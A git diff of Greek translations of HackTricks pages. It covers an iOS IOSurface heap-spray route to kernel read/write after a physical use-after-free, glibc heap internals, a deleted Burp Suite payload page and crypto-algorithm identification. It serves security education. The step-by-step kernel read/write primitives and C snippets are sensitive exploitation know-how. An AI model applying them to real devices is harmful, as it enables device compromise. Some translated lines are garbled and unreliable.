αν κάποιο από αυτά τα αντικείμενα IOSurface έχει προσγειωθεί σε μια ελεύθερη σελίδα. -4. Όταν βρουν ένα αντικείμενο IOSurface σε μια ελεύθερη σελίδα, μπορούν να το χρησιμοποιήσουν για να **διαβάσουν και να γράψουν τη μνήμη του kernel**. +3. **Σαρώνονται οι ελεύθερες σελίδες** για να δουν αν κάποιο από αυτά τα αντικείμενα IOSurface προσγειώθηκε σε μια ελεύθερη σελίδα. +4. Όταν βρουν ένα αντικείμενο IOSurface σε μια ελεύθερη σελίδα, μπορούν να το χρησιμοποιήσουν για να **διαβάσουν και να γράψουν στη μνήμη του πυρήνα**. Περισσότερες πληροφορίες σχετικά με αυτό στο [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) -### Step-by-Step Heap Spray Process +### Διαδικασία Heap Spray Βήμα προς Βήμα -1. **Spray IOSurface Objects**: Ο επιτιθέμενος δημιουργεί πολλά αντικείμενα IOSurface με μια ειδική ταυτότητα ("μαγική τιμή"). -2. **Scan Freed Pages**: Ελέγχουν αν κάποιο από τα αντικείμενα έχει ανατεθεί σε μια ελεύθερη σελίδα. -3. **Read/Write Kernel Memory**: Με την παραποίηση πεδίων στο αντικείμενο IOSurface, αποκτούν τη δυνατότητα να εκτελούν **τυχαίες αναγνώσεις και εγγραφές** στη μνήμη του kernel. Αυτό τους επιτρέπει: -* Να χρησιμοποιούν ένα πεδίο για να **διαβάσουν οποιαδήποτε 32-bit τιμή** στη μνήμη του kernel. -* Να χρησιμοποιούν ένα άλλο πεδίο για να **γράψουν 64-bit τιμές**, επιτυγχάνοντας μια σταθερή **primitive ανάγνωσης/εγγραφής του kernel**. +1. **Ψεκασμός Αντικειμένων IOSurface**: Ο επιτιθέμενος δημιουργεί πολλά αντικείμενα IOSurface με έναν ειδικό αναγνωριστικό ("μαγική τιμή"). +2. **Σάρωση Ελεύθερων Σελίδων**: Ελέγχουν αν κάποιο από τα αντικείμενα έχει ανατεθεί σε μια ελεύθερη σελίδα. +3. **Διαβάστε/Γράψτε στη Μνήμη του Πυρήνα**: Με την παραποίηση πεδίων στο αντικείμενο IOSurface, αποκτούν τη δυνατότητα να εκτελούν **τυχαίες αναγνώσεις και εγγραφές** στη μνήμη του πυρήνα. Αυτό τους επιτρέπει: +* Να χρησιμοποιούν ένα πεδίο για να **διαβάσουν οποιαδήποτε 32-bit τιμή** στη μνήμη του πυρήνα. +* Να χρησιμοποιούν ένα άλλο πεδίο για να **γράψουν 64-bit τιμές**, επιτυγχάνοντας μια σταθερή **πρωτοβουλία ανάγνωσης/εγγραφής πυρήνα**. Δημιουργήστε αντικείμενα IOSurface με τη μαγική τιμή IOSURFACE_MAGIC για να τα αναζητήσετε αργότερα: ```c @@ -140,22 +142,22 @@ return 0; ``` ### Επιτυχία Ανάγνωσης/Εγγραφής Kernel με IOSurface -Αφού αποκτήσουμε έλεγχο ενός αντικειμένου IOSurface στη μνήμη του kernel (χαρτογραφημένο σε μια ελεύθερη φυσική σελίδα προσβάσιμη από το userspace), μπορούμε να το χρησιμοποιήσουμε για **τυχαίες λειτουργίες ανάγνωσης και εγγραφής του kernel**. +Αφού αποκτήσουμε έλεγχο ενός αντικειμένου IOSurface στη μνήμη του kernel (χαρτογραφημένο σε μια απελευθερωμένη φυσική σελίδα προσβάσιμη από το userspace), μπορούμε να το χρησιμοποιήσουμε για **τυχαίες λειτουργίες ανάγνωσης και εγγραφής του kernel**. **Κύρια Πεδία στο IOSurface** Το αντικείμενο IOSurface έχει δύο κρίσιμα πεδία: 1. **Δείκτης Χρήσης**: Επιτρέπει μια **32-bit ανάγνωση**. -2. **Δείκτης Χρονοσήμανσης**: Επιτρέπει μια **64-bit εγγραφή**. +2. **Δείκτης Χρονοσήμανσης με Ευρετήριο**: Επιτρέπει μια **64-bit εγγραφή**. -Με την αντικατάσταση αυτών των δεικτών, τους ανακατευθύνουμε σε τυχαίες διευθύνσεις στη μνήμη του kernel, επιτρέποντας δυνατότητες ανάγνωσης/εγγραφής. +Με την επαναγραφή αυτών των δεικτών, τους ανακατευθύνουμε σε τυχαίες διευθύνσεις στη μνήμη του kernel, επιτρέποντας δυνατότητες ανάγνωσης/εγγραφής. #### 32-Bit Ανάγνωση Kernel -Για να εκτελέσετε μια ανάγνωση: +Για να εκτελέσουμε μια ανάγνωση: -1. Αντικαταστήστε τον **δείκτη χρήσης** ώστε να δείχνει στη στοχευμένη διεύθυνση μείον μια απόσταση 0x14 byte. +1. Επαναγράψτε τον **δείκτη χρήσης** ώστε να δείχνει στη στοχευμένη διεύθυνση μείον μια απόσταση 0x14 byte. 2. Χρησιμοποιήστε τη μέθοδο `get_use_count` για να διαβάσετε την τιμή σε αυτή τη διεύθυνση. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { @@ -195,9 +197,11 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig); ``` #### Ανακεφαλαίωση Ροής Εκμετάλλευσης -1. **Ενεργοποίηση Φυσικής Χρήσης-Μετά-Απελευθέρωσης**: Οι ελεύθερες σελίδες είναι διαθέσιμες για επαναχρησιμοποίηση. +1. **Ενεργοποίηση Φυσικής Χρήσης-Μετά-Απελευθέρωση**: Οι ελεύθερες σελίδες είναι διαθέσιμες για επαναχρησιμοποίηση. 2. **Ψεκασμός Αντικειμένων IOSurface**: Κατανομή πολλών αντικειμένων IOSurface με μια μοναδική "μαγική τιμή" στη μνήμη του πυρήνα. 3. **Εντοπισμός Προσβάσιμου IOSurface**: Εντοπίστε ένα IOSurface σε μια απελευθερωμένη σελίδα που ελέγχετε. -4. **Κατάχρηση Χρήσης-Μετά-Απελευθέρωσης**: Τροποποιήστε τους δείκτες στο αντικείμενο IOSurface για να επιτρέψετε αυθαίρετη **ανάγνωση/εγγραφή πυρήνα** μέσω μεθόδων IOSurface. +4. **Κατάχρηση Χρήσης-Μετά-Απελευθέρωση**: Τροποποιήστε τους δείκτες στο αντικείμενο IOSurface για να επιτρέψετε αυθαίρετη **ανάγνωση/εγγραφή πυρήνα** μέσω μεθόδων IOSurface. Με αυτές τις πρωτογενείς λειτουργίες, η εκμετάλλευση παρέχει ελεγχόμενες **32-bit αναγνώσεις** και **64-bit εγγραφές** στη μνήμη του πυρήνα. Επιπλέον βήματα jailbreak θα μπορούσαν να περιλαμβάνουν πιο σταθερές πρωτογενείς αναγνώσεις/εγγραφές, οι οποίες μπορεί να απαιτούν παράκαμψη πρόσθετων προστασιών (π.χ., PPL σε νεότερες συσκευές arm64e). + +{{#include /banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md index 7a079e010..900f69c0e 100644 --- a/src/binary-exploitation/libc-heap/README.md +++ b/src/binary-exploitation/libc-heap/README.md @@ -1,5 +1,7 @@ # Libc Heap +{{#include /banners/hacktricks-training.md}} + ## Heap Basics Ο σωρός είναι βασικά ο χώρος όπου ένα πρόγραμμα μπορεί να αποθηκεύσει δεδομένα όταν ζητά δεδομένα καλώντας συναρτήσεις όπως **`malloc`**, `calloc`... Επιπλέον, όταν αυτή η μνήμη δεν χρειάζεται πλέον, καθίσταται διαθέσιμη καλώντας τη συνάρτηση **`free`**. @@ -21,32 +23,32 @@ - Αν δεν υπάρχει αρκετός χώρος στον σωρό για να δεσμευτεί το νέο chunk, ο διαχειριστής του σωρού ζητά από τον πυρήνα να επεκτείνει τη μνήμη που έχει δεσμευτεί για τον σωρό και στη συνέχεια χρησιμοποιεί αυτή τη μνήμη για να δημιουργήσει το νέο chunk. - Αν όλα αποτύχουν, το `malloc` επιστρέφει null. -Σημειώστε ότι αν η ζητούμενη **μνήμη ξεπερνά ένα όριο**, θα χρησιμοποιηθεί το **`mmap`** για να χαρτογραφηθεί η ζητούμενη μνήμη. +Σημειώστε ότι αν η ζητούμενη **μνήμη ξεπερνά ένα όριο**, **`mmap`** θα χρησιμοποιηθεί για να χαρτογραφήσει τη ζητούμενη μνήμη. ## Arenas Σε **πολυνηματικές** εφαρμογές, ο διαχειριστής του σωρού πρέπει να αποτρέπει **συνθήκες ταχύτητας** που θα μπορούσαν να οδηγήσουν σε κρα crashes. Αρχικά, αυτό γινόταν χρησιμοποιώντας ένα **παγκόσμιο mutex** για να διασφαλιστεί ότι μόνο ένα νήμα μπορούσε να έχει πρόσβαση στον σωρό τη φορά, αλλά αυτό προκαλούσε **προβλήματα απόδοσης** λόγω του στενέματος που προκαλούσε το mutex. -Για να αντιμετωπιστεί αυτό, ο αλγόριθμος διαχείρισης σωρού ptmalloc2 εισήγαγε τις "arenas", όπου **κάθε arena** λειτουργεί ως **ξεχωριστός σωρός** με τις **δικές της** δομές **δεδομένων** και **mutex**, επιτρέποντας σε πολλά νήματα να εκτελούν λειτουργίες σωρού χωρίς να παρεμβαίνουν το ένα στο άλλο, εφόσον χρησιμοποιούν διαφορετικές arenas. +Για να αντιμετωπιστεί αυτό, ο αλγόριθμος διαχείρισης σωρού ptmalloc2 εισήγαγε τις "αρένες", όπου **κάθε αρένα** λειτουργεί ως **ξεχωριστός σωρός** με τις **δικές της** δομές **δεδομένων** και **mutex**, επιτρέποντας σε πολλά νήματα να εκτελούν λειτουργίες σωρού χωρίς να παρεμβαίνουν το ένα στο άλλο, εφόσον χρησιμοποιούν διαφορετικές αρένες. -Η προεπιλεγμένη "κύρια" arena διαχειρίζεται τις λειτουργίες του σωρού για εφαρμογές με ένα νήμα. Όταν προστίθενται **νέα νήματα**, ο διαχειριστής του σωρού τους αναθέτει **δευτερεύουσες arenas** για να μειώσει την αντιπαλότητα. Αρχικά προσπαθεί να συνδέσει κάθε νέο νήμα με μια μη χρησιμοποιούμενη arena, δημιουργώντας νέες αν χρειαστεί, μέχρι ένα όριο 2 φορές τον αριθμό των πυρήνων CPU για συστήματα 32-bit και 8 φορές για συστήματα 64-bit. Μόλις φτάσει το όριο, **τα νήματα πρέπει να μοιράζονται τις arenas**, οδηγώντας σε πιθανή αντιπαλότητα. +Η προεπιλεγμένη "κύρια" αρένα χειρίζεται τις λειτουργίες του σωρού για εφαρμογές με ένα νήμα. Όταν προστίθενται **νέα νήματα**, ο διαχειριστής του σωρού τους αναθέτει **δευτερεύουσες αρένες** για να μειώσει την αντιπαλότητα. Αρχικά προσπαθεί να συνδέσει κάθε νέο νήμα με μια μη χρησιμοποιούμενη αρένα, δημιουργώντας νέες αν χρειαστεί, μέχρι ένα όριο 2 φορές τον αριθμό των πυρήνων CPU για συστήματα 32-bit και 8 φορές για συστήματα 64-bit. Μόλις φτάσει το όριο, **τα νήματα πρέπει να μοιράζονται τις αρένες**, οδηγώντας σε πιθανή αντιπαλότητα. -Σε αντίθεση με την κύρια arena, η οποία επεκτείνεται χρησιμοποιώντας την κλήση συστήματος `brk`, οι δευτερεύουσες arenas δημιουργούν "subheaps" χρησιμοποιώντας `mmap` και `mprotect` για να προσομοιώσουν τη συμπεριφορά του σωρού, επιτρέποντας ευελιξία στη διαχείριση μνήμης για πολυνηματικές λειτουργίες. +Σε αντίθεση με την κύρια αρένα, η οποία επεκτείνεται χρησιμοποιώντας την κλήση συστήματος `brk`, οι δευτερεύουσες αρένες δημιουργούν "υποσωρούς" χρησιμοποιώντας `mmap` και `mprotect` για να προσομοιώσουν τη συμπεριφορά του σωρού, επιτρέποντας ευελιξία στη διαχείριση μνήμης για πολυνηματικές λειτουργίες. ### Subheaps -Τα subheaps χρησιμεύουν ως αποθέματα μνήμης για δευτερεύουσες arenas σε πολυνηματικές εφαρμογές, επιτρέποντάς τους να αναπτύσσονται και να διαχειρίζονται τις δικές τους περιοχές σωρού ξεχωριστά από τον κύριο σωρό. Να πώς διαφέρουν τα subheaps από τον αρχικό σωρό και πώς λειτουργούν: +Οι υποσωροί λειτουργούν ως αποθέματα μνήμης για δευτερεύουσες αρένες σε πολυνηματικές εφαρμογές, επιτρέποντάς τους να αναπτύσσονται και να διαχειρίζονται τις δικές τους περιοχές σωρού ξεχωριστά από τον κύριο σωρό. Να πώς οι υποσωροί διαφέρουν από τον αρχικό σωρό και πώς λειτουργούν: -1. **Αρχικός Σωρός vs. Subheaps**: +1. **Αρχικός Σωρός vs. Υποσωροί**: - Ο αρχικός σωρός βρίσκεται ακριβώς μετά το δυαδικό αρχείο του προγράμματος στη μνήμη και επεκτείνεται χρησιμοποιώντας την κλήση συστήματος `sbrk`. -- Τα subheaps, που χρησιμοποιούνται από δευτερεύουσες arenas, δημιουργούνται μέσω του `mmap`, μιας κλήσης συστήματος που χαρτογραφεί μια καθορισμένη περιοχή μνήμης. +- Οι υποσωροί, που χρησιμοποιούνται από δευτερεύουσες αρένες, δημιουργούνται μέσω του `mmap`, μιας κλήσης συστήματος που χαρτογραφεί μια καθορισμένη περιοχή μνήμης. 2. **Δέσμευση Μνήμης με `mmap`**: -- Όταν ο διαχειριστής του σωρού δημιουργεί ένα subheap, δεσμεύει ένα μεγάλο μπλοκ μνήμης μέσω του `mmap`. Αυτή η δέσμευση δεν δεσμεύει άμεσα μνήμη; απλώς καθορίζει μια περιοχή που δεν πρέπει να χρησιμοποιούν άλλες διαδικασίες ή δεσμεύσεις του συστήματος. -- Από προεπιλογή, το μέγεθος που έχει δεσμευτεί για ένα subheap είναι 1 MB για διαδικασίες 32-bit και 64 MB για διαδικασίες 64-bit. +- Όταν ο διαχειριστής του σωρού δημιουργεί έναν υποσωρό, δεσμεύει ένα μεγάλο μπλοκ μνήμης μέσω του `mmap`. Αυτή η δέσμευση δεν δεσμεύει άμεσα μνήμη; απλώς καθορίζει μια περιοχή που δεν πρέπει να χρησιμοποιούν άλλες διαδικασίες ή δεσμεύσεις του συστήματος. +- Από προεπιλογή, το μέγεθος που έχει δεσμευτεί για έναν υποσωρό είναι 1 MB για διαδικασίες 32-bit και 64 MB για διαδικασίες 64-bit. 3. **Σταδιακή Επέκταση με `mprotect`**: -- Η δεσμευμένη περιοχή μνήμης αρχικά σημειώνεται ως `PROT_NONE`, υποδεικνύοντας ότι ο πυρήνας δεν χρειάζεται να δεσμεύσει φυσική μνήμη σε αυτόν τον χώρο ακόμα. -- Για να "αναπτυχθεί" το subheap, ο διαχειριστής του σωρού χρησιμοποιεί το `mprotect` για να αλλάξει τις άδειες σελίδας από `PROT_NONE` σε `PROT_READ | PROT_WRITE`, προτρέποντας τον πυρήνα να δεσμεύσει φυσική μνήμη στις προηγουμένως δεσμευμένες διευθύνσεις. Αυτή η σταδιακή προσέγγιση επιτρέπει στο subheap να επεκτείνεται κατά ανάγκη. -- Μόλις εξαντληθεί ολόκληρο το subheap, ο διαχειριστής του σωρού δημιουργεί ένα νέο subheap για να συνεχίσει τη δέσμευση. +- Η δεσμευμένη περιοχή μνήμης αρχικά σημειώνεται ως `PROT_NONE`, υποδεικνύοντας ότι ο πυρήνας δεν χρειάζεται να δεσμεύσει φυσική μνήμη σε αυτό το χώρο ακόμη. +- Για να "μεγαλώσει" ο υποσωρός, ο διαχειριστής του σωρού χρησιμοποιεί το `mprotect` για να αλλάξει τις άδειες σελίδας από `PROT_NONE` σε `PROT_READ | PROT_WRITE`, προτρέποντας τον πυρήνα να δεσμεύσει φυσική μνήμη στις προηγουμένως δεσμευμένες διευθύνσεις. Αυτή η σταδιακή προσέγγιση επιτρέπει στον υποσωρό να επεκτείνεται κατά ανάγκη. +- Μόλις εξαντληθεί ολόκληρος ο υποσωρός, ο διαχειριστής του σωρού δημιουργεί έναν νέο υποσωρό για να συνεχίσει τη δέσμευση. ### heap_info @@ -70,13 +72,13 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; ``` ### malloc_state -**Κάθε heap** (κύρια αρένα ή άλλες αρένες νημάτων) έχει μια **δομή `malloc_state`.**\ +**Κάθε σωρός** (κύρια αρένα ή άλλες αρένες νημάτων) έχει μια **δομή `malloc_state`.**\ Είναι σημαντικό να σημειωθεί ότι η **δομή `malloc_state` της κύριας αρένας** είναι μια **παγκόσμια μεταβλητή στη libc** (άρα βρίσκεται στον χώρο μνήμης της libc).\ -Στην περίπτωση των δομών **`malloc_state`** των heaps των νημάτων, βρίσκονται **μέσα στο "heap" του δικού τους νήματος**. +Στην περίπτωση των δομών **`malloc_state`** των σωρών νημάτων, βρίσκονται **μέσα στη "σωρό" του δικού τους νήματος**. -Υπάρχουν μερικά ενδιαφέροντα πράγματα να σημειωθούν από αυτή τη δομή (δείτε τον παρακάτω κώδικα C): +Υπάρχουν μερικά ενδιαφέροντα πράγματα που πρέπει να σημειωθούν από αυτή τη δομή (δείτε τον παρακάτω κώδικα C): -- `__libc_lock_define (, mutex);` Υπάρχει για να διασφαλίσει ότι αυτή η δομή από το heap προσπελάζεται από 1 νήμα τη φορά +- `__libc_lock_define (, mutex);` Υπάρχει για να διασφαλίσει ότι αυτή η δομή από τη σωρό προσπελάζεται από 1 νήμα τη φορά - Σημαίες: - ```c @@ -88,11 +90,11 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) ``` -- Ο `mchunkptr bins[NBINS * 2 - 2];` περιέχει **δείκτες** στους **πρώτους και τελευταίους chunks** των μικρών, μεγάλων και αταξινόμητων **bins** (το -2 είναι επειδή ο δείκτης 0 δεν χρησιμοποιείται) -- Επομένως, το **πρώτο chunk** αυτών των bins θα έχει έναν **πίσω δείκτη σε αυτή τη δομή** και το **τελευταίο chunk** αυτών των bins θα έχει έναν **μπροστά δείκτη** σε αυτή τη δομή. Αυτό σημαίνει βασικά ότι αν μπορείτε να **διαρρεύσετε αυτές τις διευθύνσεις στην κύρια αρένα** θα έχετε έναν δείκτη στη δομή στη **libc**. +- Ο `mchunkptr bins[NBINS * 2 - 2];` περιέχει **δείκτες** στους **πρώτους και τελευταίους κομμάτια** των μικρών, μεγάλων και αταξινόμητων **δοχείων** (το -2 είναι επειδή ο δείκτης 0 δεν χρησιμοποιείται) +- Επομένως, το **πρώτο κομμάτι** αυτών των δοχείων θα έχει έναν **ανάποδο δείκτη σε αυτή τη δομή** και το **τελευταίο κομμάτι** αυτών των δοχείων θα έχει έναν **προForward δείκτη** σε αυτή τη δομή. Αυτό σημαίνει βασικά ότι αν μπορείτε να **διαρρεύσετε αυτές τις διευθύνσεις στην κύρια αρένα** θα έχετε έναν δείκτη στη δομή στη **libc**. - Οι δομές `struct malloc_state *next;` και `struct malloc_state *next_free;` είναι συνδεδεμένες λίστες αρεών -- Το `top` chunk είναι το τελευταίο "chunk", το οποίο είναι βασικά **όλος ο χώρος που απομένει στο heap**. Μόλις το top chunk είναι "άδειο", το heap έχει χρησιμοποιηθεί εντελώς και χρειάζεται να ζητήσει περισσότερο χώρο. -- Το `last reminder` chunk προέρχεται από περιπτώσεις όπου δεν είναι διαθέσιμο ένα chunk ακριβούς μεγέθους και επομένως ένα μεγαλύτερο chunk διασπάται, ένα δείκτης που απομένει τοποθετείται εδώ. +- Το κομμάτι `top` είναι το τελευταίο "κομμάτι", το οποίο είναι βασικά **όλος ο χώρος που απομένει στη σωρό**. Μόλις το κομμάτι κορυφής είναι "άδειο", η σωρός έχει χρησιμοποιηθεί εντελώς και χρειάζεται να ζητήσει περισσότερο χώρο. +- Το κομμάτι `last reminder` προέρχεται από περιπτώσεις όπου δεν είναι διαθέσιμο ένα κομμάτι ακριβούς μεγέθους και επομένως ένα μεγαλύτερο κομμάτι χωρίζεται, ένα δείκτης του υπολοίπου τοποθετείται εδώ. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 @@ -157,14 +159,14 @@ struct malloc_chunk* bk_nextsize; typedef struct malloc_chunk* mchunkptr; ``` -Όπως σχολιάστηκε προηγουμένως, αυτά τα κομμάτια έχουν επίσης κάποια μεταδεδομένα, πολύ καλά απεικονισμένα σε αυτή την εικόνα: +Όπως έχει σχολιαστεί προηγουμένως, αυτά τα κομμάτια έχουν επίσης κάποια μεταδεδομένα, πολύ καλά απεικονισμένα σε αυτή την εικόνα:

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

Τα μεταδεδομένα είναι συνήθως 0x08B που υποδεικνύει το μέγεθος του τρέχοντος κομματιού χρησιμοποιώντας τα τελευταία 3 bits για να υποδείξει: -- `A`: Αν είναι 1 προέρχεται από ένα υποσωρό, αν είναι 0 είναι στην κύρια αρένα -- `M`: Αν είναι 1, αυτό το κομμάτι είναι μέρος ενός χώρου που έχει κατανεμηθεί με mmap και δεν είναι μέρος ενός σωρού +- `A`: Αν είναι 1 προέρχεται από μια υπο-στοίβα, αν είναι 0 είναι στην κύρια αρένα +- `M`: Αν είναι 1, αυτό το κομμάτι είναι μέρος ενός χώρου που έχει κατανεμηθεί με mmap και δεν είναι μέρος μιας στοίβας - `P`: Αν είναι 1, το προηγούμενο κομμάτι είναι σε χρήση Στη συνέχεια, ο χώρος για τα δεδομένα του χρήστη, και τελικά 0x08B για να υποδείξει το μέγεθος του προηγούμενου κομματιού όταν το κομμάτι είναι διαθέσιμο (ή για να αποθηκεύσει δεδομένα χρήστη όταν είναι κατανεμημένο). @@ -178,12 +180,12 @@ typedef struct malloc_chunk* mchunkptr;

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

-> [!NOTE] -> Σημειώστε πώς η σύνδεση της λίστας με αυτόν τον τρόπο αποτρέπει την ανάγκη να υπάρχει ένας πίνακας όπου καταχωρείται κάθε κομμάτι. +> [!TIP] +> Σημειώστε πώς η σύνδεση της λίστας με αυτόν τον τρόπο αποτρέπει την ανάγκη να υπάρχει ένα πίνακας όπου καταχωρείται κάθε κομμάτι. ### Δείκτες Κομματιών -Όταν χρησιμοποιείται malloc επιστρέφεται ένας δείκτης στο περιεχόμενο που μπορεί να γραφτεί (αμέσως μετά τις κεφαλίδες), ωστόσο, όταν διαχειρίζεστε κομμάτια, χρειάζεται ένας δείκτης στην αρχή των κεφαλίδων (μεταδεδομένα).\ +Όταν χρησιμοποιείται malloc, επιστρέφεται ένας δείκτης στο περιεχόμενο που μπορεί να γραφτεί (αμέσως μετά τις κεφαλίδες), ωστόσο, όταν διαχειρίζεστε κομμάτια, χρειάζεται ένας δείκτης στην αρχή των κεφαλίδων (μεταδεδομένα).\ Για αυτές τις μετατροπές χρησιμοποιούνται αυτές οι συναρτήσεις: ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -328,7 +330,7 @@ people extending or adapting this malloc. /* Treat space at ptr + offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) ``` -- Εξασφαλίστε bit +- Insue bit ```c /* extract p's inuse bit */ #define inuse(p) \ @@ -352,7 +354,7 @@ people extending or adapting this malloc. #define clear_inuse_bit_at_offset(p, s) \ (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) ``` -- Ορίστε κεφαλίδα και υποσέλιδο (όταν χρησιμοποιούνται αριθμοί τμημάτων) +- Ρυθμίστε την κεφαλίδα και την υποσέλιδο (όταν χρησιμοποιούνται αριθμοί τμημάτων) ```c /* Set size at head, without disturbing its use bit */ #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) @@ -363,7 +365,7 @@ people extending or adapting this malloc. /* Set size at footer (only when chunk is not in use) */ #define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s)) ``` -- Πάρτε το μέγεθος των πραγματικά χρησιμοποιήσιμων δεδομένων μέσα στο κομμάτι +- Πάρε το μέγεθος των πραγματικά χρησιμοποιήσιμων δεδομένων μέσα στο κομμάτι ```c #pragma GCC poison mchunk_size #pragma GCC poison mchunk_prev_size @@ -409,19 +411,19 @@ ptr = malloc(0x10); strcpy(ptr, "panda"); } ``` -Ορίστε ένα σημείο διακοπής στο τέλος της κύριας συνάρτησης και ας δούμε πού αποθηκεύτηκε η πληροφορία: +Ορίστε ένα σημείο διακοπής στο τέλος της κύριας συνάρτησης και ας ανακαλύψουμε πού αποθηκεύτηκε η πληροφορία:
Είναι δυνατόν να δούμε ότι η συμβολοσειρά panda αποθηκεύτηκε στη διεύθυνση `0xaaaaaaac12a0` (η οποία ήταν η διεύθυνση που δόθηκε ως απάντηση από το malloc μέσα στο `x0`). Ελέγχοντας 0x10 bytes πριν, είναι δυνατόν να δούμε ότι το `0x0` αντιπροσωπεύει ότι το **προηγούμενο κομμάτι δεν χρησιμοποιείται** (μήκος 0) και ότι το μήκος αυτού του κομματιού είναι `0x21`. -Οι επιπλέον χώροι που έχουν κρατηθεί (0x21-0x10=0x11) προέρχονται από τις **προστιθέμενες κεφαλίδες** (0x10) και το 0x1 δεν σημαίνει ότι κρατήθηκε 0x21B αλλά τα τελευταία 3 bits του μήκους της τρέχουσας κεφαλίδας έχουν κάποιες ειδικές σημασίες. Καθώς το μήκος είναι πάντα ευθυγραμμισμένο σε 16 bytes (σε μηχανές 64 bits), αυτά τα bits στην πραγματικότητα δεν θα χρησιμοποιηθούν ποτέ από τον αριθμό μήκους. +Οι επιπλέον χώροι που έχουν κρατηθεί (0x21-0x10=0x11) προέρχονται από τους **προστιθέμενους επικεφαλίδες** (0x10) και το 0x1 δεν σημαίνει ότι κρατήθηκε 0x21B αλλά τα τελευταία 3 bits του μήκους της τρέχουσας επικεφαλίδας έχουν κάποιες ειδικές σημασίες. Καθώς το μήκος είναι πάντα ευθυγραμμισμένο σε 16 bytes (σε μηχανές 64 bits), αυτά τα bits στην πραγματικότητα δεν πρόκειται ποτέ να χρησιμοποιηθούν από τον αριθμό μήκους. ``` 0x1: Previous in Use - Specifies that the chunk before it in memory is in use 0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap() 0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena ``` -### Παράδειγμα Πολυνηματικής Εκτέλεσης +### Multithreading Example
@@ -483,7 +485,7 @@ return 0; ## Bins & Memory Allocations/Frees -Ελέγξτε ποια είναι τα bins και πώς είναι οργανωμένα και πώς η μνήμη κατανέμεται και απελευθερώνεται σε: +Ελέγξτε ποια είναι τα bins και πώς είναι οργανωμένα και πώς η μνήμη κατανέμεται και απελευθερώνεται στο: {{#ref}} bins-and-memory-allocations.md @@ -501,3 +503,6 @@ heap-memory-functions/heap-functions-security-checks.md - [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/burp-suite.md b/src/burp-suite.md deleted file mode 100644 index d8866de1e..000000000 --- a/src/burp-suite.md +++ /dev/null @@ -1,19 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -# Βασικοί Φορτωτές - -- **Απλή Λίστα:** Απλώς μια λίστα που περιέχει μια καταχώρηση σε κάθε γραμμή -- **Αρχείο Εκτέλεσης:** Μια λίστα που διαβάζεται κατά την εκτέλεση (δεν φορτώνεται στη μνήμη). Για υποστήριξη μεγάλων λιστών. -- **Τροποποίηση Περίπτωσης:** Εφαρμόστε κάποιες αλλαγές σε μια λίστα από συμβολοσειρές (Καμία αλλαγή, σε πεζά, σε ΚΕΦΑΛΑΙΑ, σε Κανονικό όνομα - Πρώτο κεφαλαίο και τα υπόλοιπα σε πεζά-, σε Κανονικό Όνομα - Πρώτο κεφαλαίο και τα υπόλοιπα παραμένουν τα ίδια-). -- **Αριθμοί:** Δημιουργία αριθμών από X έως Y χρησιμοποιώντας βήμα Z ή τυχαία. -- **Brute Forcer:** Σύνολο χαρακτήρων, ελάχιστο & μέγιστο μήκος. - -[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Φορτωτής για εκτέλεση εντολών και λήψη εξόδου μέσω DNS αιτημάτων στο burpcollab. - -{{#ref}} -https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e -{{#endref}} - -[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator) - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/cryptographic-algorithms/README.md b/src/crypto-and-stego/cryptographic-algorithms/README.md index 19b1a358f..24e5ca5b7 100644 --- a/src/crypto-and-stego/cryptographic-algorithms/README.md +++ b/src/crypto-and-stego/cryptographic-algorithms/README.md @@ -1,61 +1,59 @@ # Κρυπτογραφικοί/Συμπιεστικοί Αλγόριθμοι -## Κρυπτογραφικοί/Συμπιεστικοί Αλγόριθμοι - {{#include ../../banners/hacktricks-training.md}} ## Αναγνώριση Αλγορίθμων -Αν καταλήξετε σε έναν κώδικα **χρησιμοποιώντας shift δεξιά και αριστερά, xors και διάφορες αριθμητικές λειτουργίες** είναι πολύ πιθανό ότι είναι η υλοποίηση ενός **κρυπτογραφικού αλγορίθμου**. Εδώ θα παρουσιαστούν μερικοί τρόποι για να **αναγνωρίσετε τον αλγόριθμο που χρησιμοποιείται χωρίς να χρειάζεται να αντιστρέψετε κάθε βήμα**. +Αν καταλήγεις σε έναν κώδικα **χρησιμοποιώντας shift δεξιά και αριστερά, xors και διάφορες αριθμητικές λειτουργίες** είναι πολύ πιθανό ότι είναι η υλοποίηση ενός **κρυπτογραφικού αλγορίθμου**. Εδώ θα παρουσιαστούν μερικοί τρόποι για να **αναγνωρίσεις τον αλγόριθμο που χρησιμοποιείται χωρίς να χρειάζεται να αντιστρέψεις κάθε βήμα**. ### Λειτουργίες API **CryptDeriveKey** -Αν αυτή η λειτουργία χρησιμοποιείται, μπορείτε να βρείτε ποιος **αλγόριθμος χρησιμοποιείται** 